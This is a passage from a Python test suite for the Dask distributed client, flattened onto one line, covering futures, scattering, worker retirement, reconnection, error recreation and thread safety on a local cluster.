c.map(inc, range(5)) seq2 = list(as_completed(seq)) assert set(c.gather(seq2)) == {1, 2, 3, 4, 5} def test_as_completed_results(c): seq = c.map(inc, range(5)) seq2 = list(as_completed(seq, with_results=True)) assert set(pluck(1, seq2)) == {1, 2, 3, 4, 5} assert set(pluck(0, seq2)) == set(seq) @pytest.mark.parametrize("with_results", [True, False]) def test_as_completed_batches(c, with_results): n = 50 futures = c.map(slowinc, range(n), delay=0.01) out = [] for batch in as_completed(futures, with_results=with_results).batches(): assert isinstance(batch, (tuple, list)) sleep(0.05) out.extend(batch) assert len(out) == n if with_results: assert set(pluck(1, out)) == set(range(1, n + 1)) else: assert set(out) == set(futures) def test_as_completed_next_batch(c): futures = c.map(slowinc, range(2), delay=0.1) ac = as_completed(futures) assert not ac.is_empty() assert ac.next_batch(block=False) == [] assert set(ac.next_batch(block=True)).issubset(futures) while not ac.is_empty(): assert set(ac.next_batch(block=True)).issubset(futures) assert ac.is_empty() assert not ac.has_ready() @gen_test() async def test_status(): s = await Scheduler(port=0) c = await Client(s.address, asynchronous=True) assert c.status == "running" x = c.submit(inc, 1) await c.close() assert c.status == "closed" await s.close() @gen_cluster(client=True) async def test_persist_optimize_graph(c, s, a, b): i = 10 for method in [c.persist, c.compute]: b = db.range(i, npartitions=2) i += 1 b2 = b.map(inc) b3 = b2.map(inc) b4 = method(b3, optimize_graph=False) await wait(b4) assert set(map(stringify, b3.__dask_keys__())).issubset(s.tasks) b = db.range(i, npartitions=2) i += 1 b2 = b.map(inc) b3 = b2.map(inc) b4 = method(b3, optimize_graph=True) await wait(b4) assert not any(stringify(k) in s.tasks for k in b2.__dask_keys__()) @gen_cluster(client=True, nthreads=[]) async def test_scatter_raises_if_no_workers(c, s): with pytest.raises(TimeoutError): await c.scatter(1, timeout=0.5) @pytest.mark.slow def test_reconnect(loop): w = Worker("127.0.0.1", 9393, loop=loop) loop.add_callback(w.start) scheduler_cli = [ "dask-scheduler", "--host", "127.0.0.1", "--port", "9393", "--no-dashboard", ] with popen(scheduler_cli) as s: c = Client("127.0.0.1:9393", loop=loop) start = time() while len(c.nthreads()) != 1: sleep(0.1) assert time() < start + 3 x = c.submit(inc, 1) assert x.result() == 2 start = time() while c.status != "connecting": assert time() < start + 5 sleep(0.01) assert x.status == "cancelled" with pytest.raises(CancelledError): x.result() with popen(scheduler_cli) as s: start = time() while c.status != "running": sleep(0.1) assert time() < start + 5 start = time() while len(c.nthreads()) != 1: sleep(0.05) assert time() < start + 15 x = c.submit(inc, 1) assert x.result() == 2 start = time() while True: try: x.result() assert False except CommClosedError: continue except CancelledError: break assert time() < start + 5 sleep(0.1) sync(loop, w.close) c.close() @gen_cluster(client=True, nthreads=[], client_kwargs={"timeout": 0.5}) async def test_reconnect_timeout(c, s): with captured_logger(logging.getLogger("distributed.client")) as logger: await s.close() start = time() while c.status != "closed": await c._update_scheduler_info() await asyncio.sleep(0.05) assert time() < start + 5, "Timeout waiting for reconnect to fail" text = logger.getvalue() assert "Failed to reconnect" in text @pytest.mark.slow @pytest.mark.skipif(WINDOWS, reason="num_fds not supported on windows") @pytest.mark.skipif(sys.version_info < (3, 7), reason="TODO: intermittent failures") @pytest.mark.parametrize("worker,count,repeat", [(Worker, 100, 5), (Nanny, 10, 20)]) def test_open_close_many_workers(loop, worker, count, repeat): psutil = pytest.importorskip("psutil") proc = psutil.Process() with cluster(nworkers=0, active_rpc_timeout=2) as (s, _): gc.collect() before = proc.num_fds() done = Semaphore(0) running = weakref.WeakKeyDictionary() workers = set() status = True async def start_worker(sleep, duration, repeat=1): for i in range(repeat): await asyncio.sleep(sleep) if not status: return w = worker(s["address"], loop=loop) running[w] = None await w workers.add(w) addr = w.worker_address running[w] = addr await asyncio.sleep(duration) await w.close() del w await asyncio.sleep(0) done.release() for i in range(count): loop.add_callback( start_worker, random.random() / 5, random.random() / 5, repeat=repeat ) with Client(s["address"], loop=loop) as c: sleep(1) for i in range(count): done.acquire(timeout=5) gc.collect() if not running: break start = time() while c.nthreads(): sleep(0.2) assert time() < start + 10 while len(workers) < count * repeat: sleep(0.2) status = False [c.sync(w.close) for w in list(workers)] for w in workers: assert w.status == Status.closed start = time() while proc.num_fds() > before: print("fds:", before, proc.num_fds()) sleep(0.1) if time() > start + 10: if worker == Worker: # this is an esoteric case print("File descriptors did not clean up") break else: raise ValueError("File descriptors did not clean up") @gen_cluster(client=False, timeout=None) async def test_idempotence(s, a, b): c = await Client(s.address, asynchronous=True) f = await Client(s.address, asynchronous=True) # Submit x = c.submit(inc, 1) await x log = list(s.transition_log) len_single_submit = len(log) # see last assert y = f.submit(inc, 1) assert x.key == y.key await y await asyncio.sleep(0.1) log2 = list(s.transition_log) assert log == log2 # Error a = c.submit(div, 1, 0) await wait(a) assert a.status == "error" log = list(s.transition_log) b = f.submit(div, 1, 0) assert a.key == b.key await wait(b) await asyncio.sleep(0.1) log2 = list(s.transition_log) assert log == log2 s.transition_log.clear() # Simultaneous Submit d = c.submit(inc, 2) e = c.submit(inc, 2) await wait([d, e]) assert len(s.transition_log) == len_single_submit await c.close() await f.close() def test_scheduler_info(c): info = c.scheduler_info() assert isinstance(info, dict) assert len(info["workers"]) == 2 def test_write_scheduler_file(c): info = c.scheduler_info() with tmpfile("json") as scheduler_file: c.write_scheduler_file(scheduler_file) with Client(scheduler_file=scheduler_file) as c2: info2 = c2.scheduler_info() assert c.scheduler.address == c2.scheduler.address # test that a ValueError is raised if the scheduler_file # attribute is already set with pytest.raises(ValueError): c.write_scheduler_file(scheduler_file) def test_get_versions(c): requests = pytest.importorskip("requests") v = c.get_versions() assert v["scheduler"] is not None assert v["client"] is not None assert len(v["workers"]) == 2 for k, v in v["workers"].items(): assert v is not None c.get_versions(check=True) # smoke test for versions # that this does not raise v = c.get_versions(packages=["requests"]) assert v["client"]["packages"]["requests"] == requests.__version__ @gen_cluster(client=True) async def test_async_get_versions(c, s, a, b): await c.get_versions(check=True) def test_threaded_get_within_distributed(c): import dask.multiprocessing for get in [dask.local.get_sync, dask.multiprocessing.get, dask.threaded.get]: def f(): return get({"x": (lambda: 1,)}, "x") future = c.submit(f) assert future.result() == 1 @gen_cluster(client=True) async def test_lose_scattered_data(c, s, a, b): [x] = await c.scatter([1], workers=a.address) await a.close() await asyncio.sleep(0.1) assert x.status == "cancelled" assert x.key not in s.tasks @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)] * 3) async def test_partially_lose_scattered_data(e, s, a, b, c): x = await e.scatter(1, workers=a.address) await e.replicate(x, n=2) await a.close() await asyncio.sleep(0.1) assert x.status == "finished" assert s.get_task_status(keys=[x.key]) == {x.key: "memory"} @gen_cluster(client=True) async def test_scatter_compute_lose(c, s, a, b): [x] = await c.scatter([[1, 2, 3, 4]], workers=a.address) y = c.submit(inc, 1, workers=b.address) z = c.submit(slowadd, x, y, delay=0.2) await asyncio.sleep(0.1) await a.close() with pytest.raises(CancelledError): await wait(z) assert x.status == "cancelled" assert y.status == "finished" assert z.status == "cancelled" @gen_cluster(client=True) async def test_scatter_compute_store_lose(c, s, a, b): """ Create irreplaceable data on one machine, cause a dependent computation to occur on another and complete Kill the machine with the irreplaceable data. What happens to the complete result? How about after it GCs and tries to come back? """ x = await c.scatter(1, workers=a.address) xx = c.submit(inc, x, workers=a.address) y = c.submit(inc, 1) z = c.submit(slowadd, xx, y, delay=0.2, workers=b.address) await wait(z) await a.close() start = time() while x.status == "finished": await asyncio.sleep(0.01) assert time() < start + 2 # assert xx.status == 'finished' assert y.status == "finished" assert z.status == "finished" zz = c.submit(inc, z) await wait(zz) zkey = z.key del z start = time() while s.get_task_status(keys=[zkey]) != {zkey: "released"}: await asyncio.sleep(0.01) assert time() < start + 2 xxkey = xx.key del xx start = time() while x.key in s.tasks and zkey not in s.tasks and xxkey not in s.tasks: await asyncio.sleep(0.01) assert time() < start + 2 @gen_cluster(client=True) async def test_scatter_compute_store_lose_processing(c, s, a, b): """ Create irreplaceable data on one machine, cause a dependent computation to occur on another and complete Kill the machine with the irreplaceable data. What happens to the complete result? How about after it GCs and tries to come back? """ [x] = await c.scatter([1], workers=a.address) y = c.submit(slowinc, x, delay=0.2) z = c.submit(inc, y) await asyncio.sleep(0.1) await a.close() start = time() while x.status == "finished": await asyncio.sleep(0.01) assert time() < start + 2 assert y.status == "cancelled" assert z.status == "cancelled" @gen_cluster(client=False) async def test_serialize_future(s, a, b): c1 = await Client(s.address, asynchronous=True) c2 = await Client(s.address, asynchronous=True) future = c1.submit(lambda: 1) result = await future for ci in (c1, c2): for ctxman in ci.as_current, lambda: temp_default_client(ci): with ctxman(): future2 = pickle.loads(pickle.dumps(future)) assert future2.client is ci assert stringify(future2.key) in ci.futures result2 = await future2 assert result == result2 await c1.close() await c2.close() @gen_cluster(client=False) async def test_temp_default_client(s, a, b): c1 = await Client(s.address, asynchronous=True) c2 = await Client(s.address, asynchronous=True) with temp_default_client(c1): assert default_client() is c1 assert default_client(c2) is c2 with temp_default_client(c2): assert default_client() is c2 assert default_client(c1) is c1 await c1.close() await c2.close() @gen_cluster(client=True) async def test_as_current(c, s, a, b): c1 = await Client(s.address, asynchronous=True) c2 = await Client(s.address, asynchronous=True) with temp_default_client(c): assert Client.current() is c with pytest.raises(ValueError): Client.current(allow_global=False) with c1.as_current(): assert Client.current() is c1 assert Client.current(allow_global=True) is c1 with c2.as_current(): assert Client.current() is c2 assert Client.current(allow_global=True) is c2 await c1.close() await c2.close() def test_as_current_is_thread_local(s): l1 = threading.Lock() l2 = threading.Lock() l3 = threading.Lock() l4 = threading.Lock() l1.acquire() l2.acquire() l3.acquire() l4.acquire() def run1(): with Client(s["address"]) as c: with c.as_current(): l1.acquire() l2.release() try: # This line runs only when both run1 and run2 are inside the # context manager assert Client.current(allow_global=False) is c finally: l3.acquire() l4.release() def run2(): with Client(s["address"]) as c: with c.as_current(): l1.release() l2.acquire() try: # This line runs only when both run1 and run2 are inside the # context manager assert Client.current(allow_global=False) is c finally: l3.release() l4.acquire() t1 = threading.Thread(target=run1) t2 = threading.Thread(target=run2) t1.start() t2.start() t1.join() t2.join() @pytest.mark.xfail( sys.version_info < (3, 7), reason="Python 3.6 contextvars are not copied on Task creation", ) @gen_cluster(client=False) async def test_as_current_is_task_local(s, a, b): l1 = asyncio.Lock() l2 = asyncio.Lock() l3 = asyncio.Lock() l4 = asyncio.Lock() await l1.acquire() await l2.acquire() await l3.acquire() await l4.acquire() async def run1(): async with Client(s.address, asynchronous=True) as c: with c.as_current(): await l1.acquire() l2.release() try: # This line runs only when both run1 and run2 are inside the # context manager assert Client.current(allow_global=False) is c finally: await l3.acquire() l4.release() async def run2(): async with Client(s.address, asynchronous=True) as c: with c.as_current(): l1.release() await l2.acquire() try: # This line runs only when both run1 and run2 are inside the # context manager assert Client.current(allow_global=False) is c finally: l3.release() await l4.acquire() await asyncio.gather(run1(), run2()) @nodebug # test timing is fragile @gen_cluster(nthreads=[("127.0.0.1", 1)] * 3, client=True) async def test_persist_workers(e, s, a, b, c): L1 = [delayed(inc)(i) for i in range(4)] total = delayed(sum)(L1) L2 = [delayed(add)(i, total) for i in L1] total2 = delayed(sum)(L2) out = e.persist( L1 + L2 + [total, total2], workers={ tuple(L1): a.address, total: b.address, tuple(L2): [c.address], total2: b.address, }, allow_other_workers=L2 + [total2], ) await wait(out) assert all(v.key in a.data for v in L1) assert total.key in b.data assert s.loose_restrictions == {total2.key} | {v.key for v in L2} @gen_cluster(nthreads=[("127.0.0.1", 1)] * 3, client=True) async def test_compute_workers(e, s, a, b, c): L1 = [delayed(inc)(i) for i in range(4)] total = delayed(sum)(L1) L2 = [delayed(add)(i, total) for i in L1] out = e.compute( L1 + L2 + [total], workers={tuple(L1): a.address, total: b.address, tuple(L2): [c.address]}, allow_other_workers=L1 + [total], ) await wait(out) for v in L1: assert s.worker_restrictions[v.key] == {a.address} for v in L2: assert s.worker_restrictions[v.key] == {c.address} assert s.worker_restrictions[total.key] == {b.address} assert s.loose_restrictions == {total.key} | {v.key for v in L1} @gen_cluster(client=True) async def test_compute_nested_containers(c, s, a, b): da = pytest.importorskip("dask.array") np = pytest.importorskip("numpy") x = da.ones(10, chunks=(5,)) + 1 future = c.compute({"x": [x], "y": 123}) result = await future assert isinstance(result, dict) assert (result["x"][0] == np.ones(10) + 1).all() assert result["y"] == 123 def test_get_restrictions(): L1 = [delayed(inc)(i) for i in range(4)] total = delayed(sum)(L1) L2 = [delayed(add)(i, total) for i in L1] r1, loose = Client.get_restrictions(L2, "127.0.0.1", False) assert r1 == {d.key: ["127.0.0.1"] for d in L2} assert not loose r1, loose = Client.get_restrictions(L2, ["127.0.0.1"], True) assert r1 == {d.key: ["127.0.0.1"] for d in L2} assert set(loose) == {d.key for d in L2} r1, loose = Client.get_restrictions(L2, {total: "127.0.0.1"}, True) assert r1 == {total.key: ["127.0.0.1"]} assert loose == [total.key] r1, loose = Client.get_restrictions(L2, {(total,): "127.0.0.1"}, True) assert r1 == {total.key: ["127.0.0.1"]} assert loose == [total.key] @gen_cluster(client=True) async def test_scatter_type(c, s, a, b): [future] = await c.scatter([1]) assert future.type == int d = await c.scatter({"x": 1.0}) assert d["x"].type == float @gen_cluster(client=True) async def test_retire_workers_2(c, s, a, b): [x] = await c.scatter([1], workers=a.address) await s.retire_workers(workers=[a.address]) assert b.data == {x.key: 1} assert s.who_has == {x.key: {b.address}} assert s.has_what == {b.address: {x.key}} assert a.address not in s.workers @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)] * 10) async def test_retire_many_workers(c, s, *workers): futures = await c.scatter(list(range(100))) await s.retire_workers(workers=[w.address for w in workers[:7]]) results = await c.gather(futures) assert results == list(range(100)) while len(s.workers) != 3: await asyncio.sleep(0.01) assert len(s.has_what) == len(s.nthreads) == 3 assert all(future.done() for future in futures) assert all(s.tasks[future.key].state == "memory" for future in futures) for w, keys in s.has_what.items(): assert 15 < len(keys) < 50 @gen_cluster( client=True, nthreads=[("127.0.0.1", 3)] * 2, config={"distributed.scheduler.default-task-durations": {"f": "10ms"}}, ) async def test_weight_occupancy_against_data_movement(c, s, a, b): s.extensions["stealing"]._pc.callback_time = 1000000 def f(x, y=0, z=0): sleep(0.01) return x y = await c.scatter([[1, 2, 3, 4]], workers=[a.address]) z = await c.scatter([1], workers=[b.address]) futures = c.map(f, [1, 2, 3, 4], y=y, z=z) await wait(futures) assert sum(f.key in a.data for f in futures) >= 2 assert sum(f.key in b.data for f in futures) >= 1 @gen_cluster( client=True, nthreads=[("127.0.0.1", 1), ("127.0.0.1", 10)], config={"distributed.scheduler.default-task-durations": {"f": "10ms"}}, ) async def test_distribute_tasks_by_nthreads(c, s, a, b): s.extensions["stealing"]._pc.callback_time = 1000000 def f(x, y=0): sleep(0.01) return x y = await c.scatter([1], broadcast=True) futures = c.map(f, range(20), y=y) await wait(futures) assert len(b.data) > 2 * len(a.data) @gen_cluster(client=True, clean_kwargs={"threads": False}) async def test_add_done_callback(c, s, a, b): S = set() def f(future): future.add_done_callback(g) def g(future): S.add((future.key, future.status)) u = c.submit(inc, 1, key="u") v = c.submit(throws, "hello", key="v") w = c.submit(slowinc, 2, delay=0.3, key="w") x = c.submit(inc, 3, key="x") u.add_done_callback(f) v.add_done_callback(f) w.add_done_callback(f) await wait((u, v, w, x)) x.add_done_callback(f) t = time() while len(S) < 4 and time() - t < 2.0: await asyncio.sleep(0.01) assert S == {(f.key, f.status) for f in (u, v, w, x)} @gen_cluster(client=True) async def test_normalize_collection(c, s, a, b): x = delayed(inc)(1) y = delayed(inc)(x) z = delayed(inc)(y) yy = c.persist(y) zz = c.normalize_collection(z) assert len(z.dask) == len(y.dask) + 1 assert isinstance(zz.dask[y.key], Future) assert len(zz.dask) < len(z.dask) @gen_cluster(client=True) async def test_normalize_collection_dask_array(c, s, a, b): da = pytest.importorskip("dask.array") x = da.ones(10, chunks=(5,)) y = x + 1 yy = c.persist(y) z = y.sum() zdsk = dict(z.dask) zz = c.normalize_collection(z) assert z.dask == zdsk # do not mutate input assert len(z.dask) > len(zz.dask) assert any(isinstance(v, Future) for v in zz.dask.values()) for k, v in yy.dask.items(): assert zz.dask[k].key == v.key result1 = await c.compute(z) result2 = await c.compute(zz) assert result1 == result2 @pytest.mark.slow def test_normalize_collection_with_released_futures(c): da = pytest.importorskip("dask.array") x = da.arange(2 ** 20, chunks=2 ** 10) y = x.persist() wait(y) sol = y.sum().compute() # Start releasing futures del y # Try to reuse futures. Previously this was a race condition, # and the call to `.compute()` would error out due to missing # futures on the scheduler at compute time. normalized = c.normalize_collection(x) res = normalized.sum().compute() assert res == sol @pytest.mark.xfail(reason="https://github.com/dask/distributed/issues/4404") @gen_cluster(client=True) async def test_auto_normalize_collection(c, s, a, b): da = pytest.importorskip("dask.array") x = da.ones(10, chunks=5) assert len(x.dask) == 2 with dask.config.set(optimizations=[c._optimize_insert_futures]): y = x.map_blocks(slowinc, delay=1, dtype=x.dtype) yy = c.persist(y) await wait(yy) start = time() future = c.compute(y.sum()) await future end = time() assert end - start < 1 start = time() z = c.persist(y + 1) await wait(z) end = time() assert end - start < 1 @pytest.mark.xfail(reason="https://github.com/dask/distributed/issues/4404") def test_auto_normalize_collection_sync(c): da = pytest.importorskip("dask.array") x = da.ones(10, chunks=5) y = x.map_blocks(slowinc, delay=1, dtype=x.dtype) yy = c.persist(y) wait(yy) with dask.config.set(optimizations=[c._optimize_insert_futures]): start = time() y.sum().compute() end = time() assert end - start < 1 def assert_no_data_loss(scheduler): for key, start, finish, recommendations, _ in scheduler.transition_log: if start == "memory" and finish == "released": for k, v in recommendations.items(): assert not (k == key and v == "waiting") @gen_cluster(client=True, timeout=None) async def test_interleave_computations(c, s, a, b): import distributed distributed.g = s xs = [delayed(slowinc)(i, delay=0.02) for i in range(30)] ys = [delayed(slowdec)(x, delay=0.02) for x in xs] zs = [delayed(slowadd)(x, y, delay=0.02) for x, y in zip(xs, ys)] total = delayed(sum)(zs) future = c.compute(total) done = ("memory", "released") await asyncio.sleep(0.1) x_keys = [x.key for x in xs] y_keys = [y.key for y in ys] z_keys = [z.key for z in zs] while not s.tasks or any(w.processing for w in s.workers.values()): await asyncio.sleep(0.05) x_done = sum(state in done for state in s.get_task_status(keys=x_keys).values()) y_done = sum(state in done for state in s.get_task_status(keys=y_keys).values()) z_done = sum(state in done for state in s.get_task_status(keys=z_keys).values()) assert x_done >= y_done >= z_done assert x_done < y_done + 10 assert y_done < z_done + 10 assert_no_data_loss(s) @pytest.mark.skip(reason="Now prefer first-in-first-out") @gen_cluster(client=True, timeout=None) async def test_interleave_computations_map(c, s, a, b): xs = c.map(slowinc, range(30), delay=0.02) ys = c.map(slowdec, xs, delay=0.02) zs = c.map(slowadd, xs, ys, delay=0.02) done = ("memory", "released") x_keys = [x.key for x in xs] y_keys = [y.key for y in ys] z_keys = [z.key for z in zs] while not s.tasks or any(w.processing for w in s.workers.values()): await asyncio.sleep(0.05) x_done = sum(state in done for state in s.get_task_status(keys=x_keys).values()) y_done = sum(state in done for state in s.get_task_status(keys=y_keys).values()) z_done = sum(state in done for state in s.get_task_status(keys=z_keys).values()) assert x_done >= y_done >= z_done assert x_done < y_done + 10 assert y_done < z_done + 10 @gen_cluster(client=True) async def test_scatter_dict_workers(c, s, a, b): await c.scatter({"a": 10}, workers=[a.address, b.address]) assert "a" in a.data or "a" in b.data @pytest.mark.slow @gen_test() async def test_client_timeout(): c = Client("127.0.0.1:57484", asynchronous=True) s = Scheduler(loop=c.loop, port=57484) await asyncio.sleep(4) try: await s except EnvironmentError: # port in use await c.close() return start = time() await c try: assert time() < start + 2 finally: await c.close() await s.close() @gen_cluster(client=True) async def test_submit_list_kwargs(c, s, a, b): futures = await c.scatter([1, 2, 3]) def f(L=None): return sum(L) future = c.submit(f, L=futures) result = await future assert result == 1 + 2 + 3 @gen_cluster(client=True) async def test_map_list_kwargs(c, s, a, b): futures = await c.scatter([1, 2, 3]) def f(i, L=None): return i + sum(L) futures = c.map(f, range(10), L=futures) results = await c.gather(futures) assert results == [i + 6 for i in range(10)] @gen_cluster(client=True) async def test_dont_clear_waiting_data(c, s, a, b): start = time() x = await c.scatter(1) y = c.submit(slowinc, x, delay=0.5) while y.key not in s.tasks: await asyncio.sleep(0.01) key = x.key del x for i in range(5): assert s.waiting_data[key] await asyncio.sleep(0) @gen_cluster(client=True) async def test_get_future_error_simple(c, s, a, b): f = c.submit(div, 1, 0) await wait(f) assert f.status == "error" function, args, kwargs, deps = await c._get_futures_error(f) # args contains only solid values, not keys assert function.__name__ == "div" with pytest.raises(ZeroDivisionError): function(*args, **kwargs) @gen_cluster(client=True) async def test_get_futures_error(c, s, a, b): x0 = delayed(dec)(2, dask_key_name="x0") y0 = delayed(dec)(1, dask_key_name="y0") x = delayed(div)(1, x0, dask_key_name="x") y = delayed(div)(1, y0, dask_key_name="y") tot = delayed(sum)(x, y, dask_key_name="tot") f = c.compute(tot) await wait(f) assert f.status == "error" function, args, kwargs, deps = await c._get_futures_error(f) assert function.__name__ == "div" assert args == (1, y0.key) @gen_cluster(client=True) async def test_recreate_error_delayed(c, s, a, b): x0 = delayed(dec)(2) y0 = delayed(dec)(1) x = delayed(div)(1, x0) y = delayed(div)(1, y0) tot = delayed(sum)(x, y) f = c.compute(tot) assert f.status == "pending" function, args, kwargs = await c._recreate_error_locally(f) assert f.status == "error" assert function.__name__ == "div" assert args == (1, 0) with pytest.raises(ZeroDivisionError): function(*args, **kwargs) @gen_cluster(client=True) async def test_recreate_error_futures(c, s, a, b): x0 = c.submit(dec, 2) y0 = c.submit(dec, 1) x = c.submit(div, 1, x0) y = c.submit(div, 1, y0) tot = c.submit(sum, x, y) f = c.compute(tot) assert f.status == "pending" function, args, kwargs = await c._recreate_error_locally(f) assert f.status == "error" assert function.__name__ == "div" assert args == (1, 0) with pytest.raises(ZeroDivisionError): function(*args, **kwargs) @gen_cluster(client=True) async def test_recreate_error_collection(c, s, a, b): b = db.range(10, npartitions=4) b = b.map(lambda x: 1 / x) b = b.persist() f = c.compute(b) function, args, kwargs = await c._recreate_error_locally(f) with pytest.raises(ZeroDivisionError): function(*args, **kwargs) dd = pytest.importorskip("dask.dataframe") import pandas as pd df = dd.from_pandas(pd.DataFrame({"a": [0, 1, 2, 3, 4]}), chunksize=2) def make_err(x): # because pandas would happily work with NaN if x == 0: raise ValueError return x df2 = df.a.map(make_err) f = c.compute(df2) function, args, kwargs = await c._recreate_error_locally(f) with pytest.raises(ValueError): function(*args, **kwargs) # with persist df3 = c.persist(df2) function, args, kwargs = await c._recreate_error_locally(df3) with pytest.raises(ValueError): function(*args, **kwargs) @gen_cluster(client=True) async def test_recreate_error_array(c, s, a, b): da = pytest.importorskip("dask.array") pytest.importorskip("scipy") z = (da.linalg.inv(da.zeros((10, 10), chunks=10)) + 1).sum() zz = z.persist() func, args, kwargs = await c._recreate_error_locally(zz) assert "0.,0.,0." in str(args).replace(" ", "") # args contain actual arrays def test_recreate_error_sync(c): x0 = c.submit(dec, 2) y0 = c.submit(dec, 1) x = c.submit(div, 1, x0) y = c.submit(div, 1, y0) tot = c.submit(sum, x, y) f = c.compute(tot) with pytest.raises(ZeroDivisionError): c.recreate_error_locally(f) assert f.status == "error" def test_recreate_error_not_error(c): f = c.submit(dec, 2) with pytest.raises(ValueError, match="No errored futures passed"): c.recreate_error_locally(f) @gen_cluster(client=True) async def test_retire_workers(c, s, a, b): assert set(s.workers) == {a.address, b.address} await c.retire_workers(workers=[a.address], close_workers=True) assert set(s.workers) == {b.address} start = time() while a.status != Status.closed: await asyncio.sleep(0.01) assert time() < start + 5 class MyException(Exception): pass @gen_cluster(client=True) async def test_robust_unserializable(c, s, a, b): class Foo: def __getstate__(self): raise MyException() with pytest.raises(MyException): future = c.submit(identity, Foo()) futures = c.map(inc, range(10)) results = await c.gather(futures) assert results == list(map(inc, range(10))) assert a.data and b.data @gen_cluster(client=True) async def test_robust_undeserializable(c, s, a, b): class Foo: def __getstate__(self): return 1 def __setstate__(self, state): raise MyException("hello") future = c.submit(identity, Foo()) with pytest.raises(MyException): await future futures = c.map(inc, range(10)) results = await c.gather(futures) assert results == list(map(inc, range(10))) assert a.data and b.data @gen_cluster(client=True) async def test_robust_undeserializable_function(c, s, a, b): class Foo: def __getstate__(self): return 1 def __setstate__(self, state): raise MyException("hello") def __call__(self, *args): return 1 future = c.submit(Foo(), 1) with pytest.raises(MyException): await future futures = c.map(inc, range(10)) results = await c.gather(futures) assert results == list(map(inc, range(10))) assert a.data and b.data @gen_cluster(client=True) async def test_fire_and_forget(c, s, a, b): future = c.submit(slowinc, 1, delay=0.1) import distributed def f(x): distributed.foo = 123 try: fire_and_forget(c.submit(f, future)) start = time() while not hasattr(distributed, "foo"): await asyncio.sleep(0.01) assert time() < start + 2 assert distributed.foo == 123 finally: del distributed.foo start = time() while len(s.tasks) > 1: await asyncio.sleep(0.01) assert time() < start + 2 assert set(s.who_wants) == {future.key} assert set(s.tasks) == {future.key} @gen_cluster(client=True) async def test_fire_and_forget_err(c, s, a, b): fire_and_forget(c.submit(div, 1, 0)) await asyncio.sleep(0.1) # erred task should clear out quickly start = time() while s.tasks: await asyncio.sleep(0.01) assert time() < start + 1 def test_quiet_client_close(loop): with captured_logger(logging.getLogger("distributed")) as logger: with Client(loop=loop, processes=False, threads_per_worker=4) as c: futures = c.map(slowinc, range(1000), delay=0.01) sleep(0.200) # stop part-way sleep(0.1) # let things settle out = logger.getvalue() lines = out.strip().split("\n") assert len(lines) <= 2 for line in lines: assert ( not line or "Reconnecting" in line or "garbage" in line or set(line) == {"-"} ), line @pytest.mark.slow def test_quiet_client_close_when_cluster_is_closed_before_client(loop): with captured_logger(logging.getLogger("tornado.application")) as logger: cluster = LocalCluster(loop=loop, n_workers=1, dashboard_address=":0") client = Client(cluster, loop=loop) cluster.close() client.close() out = logger.getvalue() assert "CancelledError" not in out @gen_cluster() async def test_close(s, a, b): c = await Client(s.address, asynchronous=True) future = c.submit(inc, 1) await wait(future) assert c.id in s.wants_what await c.close() start = time() while c.id in s.wants_what or s.tasks: await asyncio.sleep(0.01) assert time() < start + 5 def test_threadsafe(c): def f(_): d = deque(maxlen=50) for i in range(100): future = c.submit(inc, random.randint(0, 100)) d.append(future) sleep(0.001) c.gather(list(d)) total = c.submit(sum, list(d)) return total.result() from concurrent.futures import ThreadPoolExecutor with ThreadPoolExecutor(20) as e: results = list(e.map(f, range(20))) assert results and all(results) del results @pytest.mark.slow def test_threadsafe_get(c): da = pytest.importorskip("dask.array") x = da.arange(100, chunks=(10,)) def f(_): total = 0 for i in range(20): total += (x + random.randint(0, 20)).sum().compute() sleep(0.001) return total from concurrent.futures import ThreadPoolExecutor with ThreadPoolExecutor(30) as e: results = list(e.map(f, range(30))) assert results and all(results) @pytest.mark.slow def test_threadsafe_compute(c): da = pytest.importorskip("dask.array") x = da.arange(100, chunks=(10,)) def f(_): total = 0 for i in range(20): future = c.compute((x + random.randint(0, 20)).sum()) total += future.result() sleep(0.001) return total from concurrent.futures import ThreadPoolExecutor e = ThreadPoolExecutor(30) results = list(e.map(f, range(30))) assert results and all(results) @gen_cluster(client=True) async def test_identity(c, s, a, b): assert c.id.lower().startswith("client") assert a.id.lower().startswith("worker") assert b.id.lower().startswith("worker") assert s.id.lower().startswith("scheduler") @gen_cluster(client=True, nthreads=[("127.0.0.1", 4)] * 2) async def test_get_client(c, s, a, b): assert get_client() is c assert c.asynchronous def f(x): client = get_client() future = client.submit(inc, x) import distributed assert not client.asynchronous assert client is distributed.tmp_client return future.result() import distributed distributed.tmp_client = c try: futures = c.map(f, range(5)) results = await c.gather(futures) assert results == list(map(inc, range(5))) finally: del distributed.tmp_client def test_get_client_no_cluster(): # Clean up any global workers added by other tests. This test requires that # there are no global workers. Worker._instances.clear() msg = "No global client found and no address provided" with pytest.raises(ValueError, match=r"^{}$".format(msg)): get_client() @gen_cluster(client=True) async def test_serialize_collections(c, s, a, b): da = pytest.importorskip("dask.array") x = da.arange(10, chunks=(5,)).persist() def f(x): assert isinstance(x, da.Array) return x.sum().compute() future = c.submit(f, x) result = await future assert result == sum(range(10)) @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)] * 1, timeout=100) async def test_secede_simple(c, s, a): def f(): client = get_client() secede() return client.submit(inc, 1).result() result = await c.submit(f) assert result == 2 @pytest.mark.slow @gen_cluster(client=True, nthreads=[("127.0.0.1", 1)] * 2, timeout=60) async def test_secede_balances(c, s, a, b): count = threading.active_count() def f(x): client = get_client() sleep(0.01) # do some work secede() futures = client.map(slowinc, range(10), pure=False, delay=0.01) total = client.submit(sum, futures).result() return total futures = c.map(f, range(100)) start = time() while not all(f.status == "finished" for f in futures): await asyncio.sleep(0.01) assert threading.active_count() < count + 50 assert len(a.log) < 2 * len(b.log) assert len(b.log) < 2 * len(a.log) results = await c.gather(futures) assert results == [sum(map(inc, range(10)))] * 100 @gen_cluster(client=True) async def test_sub_submit_priority(c, s, a, b): def f(): client = get_client() client.submit(slowinc, 1, delay=0.2, key="slowinc") future = c.submit(f, key="f") await asyncio.sleep(0.1) if len(s.tasks) == 2: assert ( s.priorities["f"] > s.priorities["slowinc"] ) # lower values schedule first def test_get_client_sync(c, s, a, b): results = c.run(lambda: get_worker().scheduler.address) assert results == {w["address"]: s["address"] for w in [a, b]} results = c.run(lambda: get_client().scheduler.address) assert results == {w["address"]: s["address"] for w in [a, b]} @gen_cluster(client=True) async def test_serialize_collections_of_futures(c, s, a, b): pd = pytest.importorskip("pandas") dd = pytest.importorskip("dask.dataframe") from dask.dataframe.utils import assert_eq df = pd.DataFrame({"x": [1, 2, 3]}) ddf = dd.from_pandas(df, npartitions=2).persist() future = await c.scatter(ddf) ddf2 = await future df2 = await 